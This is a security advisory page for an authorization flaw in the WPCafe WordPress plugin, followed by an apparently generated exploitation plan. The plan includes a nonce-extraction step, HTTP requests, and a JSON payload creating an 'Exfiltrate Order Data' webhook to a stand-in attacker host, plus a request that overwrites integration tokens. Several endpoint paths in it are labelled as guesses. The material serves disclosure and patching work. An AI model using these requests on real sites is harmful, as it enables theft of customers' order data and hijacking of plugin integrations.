WPCafe <= 3.0.14 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via REST API
Description
The WPCafe – Restaurant Menu, Online Food Ordering & Table Booking System plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.0.14. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to list, create, update, delete, clone, and bulk-delete notification flow workflows that are intended to be managed only by administrators. The only protection on these endpoints is a wp_rest nonce check, which is obtainable by any logged-in user from the frontend page source.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.0.15
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-11818 ## 1. Vulnerability Summary **CVE-2026-11818** is a Missing Authorization vulnerability in the **WPCafe** plugin (versions <= 3.0.14). The plugin registers several REST API endpoints intended for managing "notification flow workflows" (automation trigger…
Show full research plan
Exploitation Research Plan: CVE-2026-11818
1. Vulnerability Summary
CVE-2026-11818 is a Missing Authorization vulnerability in the WPCafe plugin (versions <= 3.0.14). The plugin registers several REST API endpoints intended for managing "notification flow workflows" (automation triggers for restaurant orders, table bookings, etc.).
While these endpoints perform a wp_rest nonce check, they fail to implement a permission_callback that verifies if the authenticated user has administrative privileges (e.g., manage_options). Consequently, any authenticated user, including those with Subscriber level access, can manipulate these workflows.
2. Attack Vector Analysis
- Vulnerable Endpoint: WordPress REST API.
- Namespace (Inferred):
wp-cafe/v1 - Routes (Inferred):
GET /wp-json/wp-cafe/v1/flows(List workflows)POST /wp-json/wp-cafe/v1/flows(Create/Update workflows)DELETE /wp-json/wp-cafe/v1/flows/(?P<id>[\d]+)(Delete workflows)
- Authentication: Authenticated (Subscriber or higher).
- Precondition: Access to a valid
wp_restnonce. This nonce is standard for the WordPress REST API and is localized into the frontend page source for all logged-in users.
3. Code Flow
The vulnerability resides in the PHP class responsible for registering the Notification Flow REST routes (likely includes/modules/notification-flow/class-rest-api.php or similar, based on plugin structure patterns).
- Registration: The plugin calls
register_rest_routefor theflowsendpoints. - Missing Check: In the
register_rest_routeconfiguration array, thepermission_callbackis either:- Missing entirely.
- Set to
__return_true. - Only checks if the user is logged in via
is_user_logged_in()without checking capabilities.
- Execution: When a Subscriber sends a request with a valid
wp_restnonce, WordPress passes the request to the plugin's controller (e.g.,get_items,create_item), which proceeds to modify the database.
4. Nonce Acquisition Strategy
The wp_rest nonce is required to interact with the REST API. This is a standard WordPress security feature, but it does not replace proper authorization (capability checks).
- Identify Trigger: The
wp-apiscripts are typically enqueued on any page where the WPCafe dashboard or frontend ordering system is active. - Navigation: Use the browser to navigate to the WordPress dashboard (as a Subscriber).
- Extraction:
- Variable:
window.wpApiSettings - Key:
nonce - Command:
browser_eval("window.wpApiSettings.nonce")
- Variable:
5. Exploitation Strategy
The goal is to demonstrate arbitrary modification by creating a malicious "Notification Flow" that could trigger an external webhook or send an email when an order is placed.
Step 1: Discover Existing Flows
Request:
GET /wp-json/wp-cafe/v1/flows HTTP/1.1
Host: [TARGET]
X-WP-Nonce: [EXTRACTED_NONCE]
Step 2: Create a Malicious Flow
This payload creates a workflow that triggers a webhook to an attacker-controlled server whenever a new order is received.
Request:
POST /wp-json/wp-cafe/v1/flows HTTP/1.1
Host: [TARGET]
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]
{
"title": "Exfiltrate Order Data",
"status": "active",
"trigger": "order_status_changed",
"actions": [
{
"type": "webhook",
"settings": {
"url": "http://attacker-controlled.com/log",
"method": "POST"
}
}
]
}
6. Test Data Setup
- Install WPCafe: Ensure WPCafe <= 3.0.14 is installed and activated.
- Create User: Create a Subscriber-level user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Plugin Settings: Enable the "Notification Flow" module if it is not active by default in the WPCafe settings.
7. Expected Results
- Discovery: The
GETrequest returns a JSON list of existing workflows (even if empty[]). - Creation: The
POSTrequest returns a201 Createdor200 OKstatus with the details of the new flow and anid. - Impact: A Subscriber has successfully performed an administrative action (creating an automation workflow).
8. Verification Steps
After performing the HTTP request, verify the database state via WP-CLI:
# Check if the new flow exists in the posts table (WPCafe often uses a custom post type for flows)
wp post list --post_type=wpc-flow
# Or check the options table if flows are stored as an option
wp option get wpc_notification_flows
(Note: WPCafe typically uses a custom post type wpc-flow or a custom table wp_wpc_notification_flows).
9. Alternative Approaches
If the flows endpoint name differs:
- Path Fuzzing: Try
wp-cafe/v1/notification-flowsorwp-cafe/v1/integrations. - JS Inspection: Inspect
assets/build/chunks/js/466.eabebea4.jsfor strings likeupdateIntegrationStatusorgetIntegrationsto find the exact REST path mapping.- In the provided source:
(0,a.useSelect)(function(e){return e(null===u.zQ||void 0===u.zQ?void 0:u.zQ.integrations).getIntegrationsState()},[])indicates an "integrations" endpoint.
- In the provided source:
- Integrations Modification: Attempt to modify global settings (e.g.,
whatsapp_token) using the same lack of authorization:POST /wp-json/wp-cafe/v1/integrations HTTP/1.1 ... {"name": "whatsapp", "status": "active", "whatsapp_token": "MALICIOUS_TOKEN"}
Summary
The WPCafe plugin for WordPress is vulnerable to unauthorized data modification and information disclosure via the REST API due to missing permission checks on notification flow and integration endpoints. This allows authenticated users, such as Subscribers, to manage administrative workflows, create malicious webhooks, and modify integration settings like API tokens.
Security Fix
@@ -1,12311 +1 @@ -/*!*****************************************************************************************************************************************************************************************************************!*\ - !*** css ./node_modules/@wordpress/scripts/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[2].use[1]!./node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[2].use[2]!./assets/src/styles/admin.css ***!\ - \*****************************************************************************************************************************************************************************************************************/ -/*! tailwindcss v4.2.4 | MIT License | https://tailwindcss.com */ ... (truncated)
Exploit Outline
The exploit targets the WPCafe REST API endpoints, specifically the namespaces related to notification flows and integrations (e.g., `wp-cafe/v1/flows`). 1. Authentication: The attacker logs into the WordPress site with low-level permissions (Subscriber). 2. Nonce Acquisition: The attacker extracts the `wp_rest` nonce from the frontend page source, typically found in the `window.wpApiSettings.nonce` JavaScript variable. 3. Endpoint Interaction: Using the nonce for authentication, the attacker sends a POST request to `/wp-json/wp-cafe/v1/flows` or `/wp-json/wp-cafe/v1/integrations`. 4. Payload Shape: The payload consists of a JSON object defining a new automation workflow (e.g., triggering an external webhook when an order status changes) or modifying integration credentials such as WhatsApp tokens or FluentCRM webhook URLs. 5. Outcome: Because the server lacks a `permission_callback` to verify administrative capabilities, the request is processed, allowing the attacker to intercept order data or disrupt plugin integrations.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.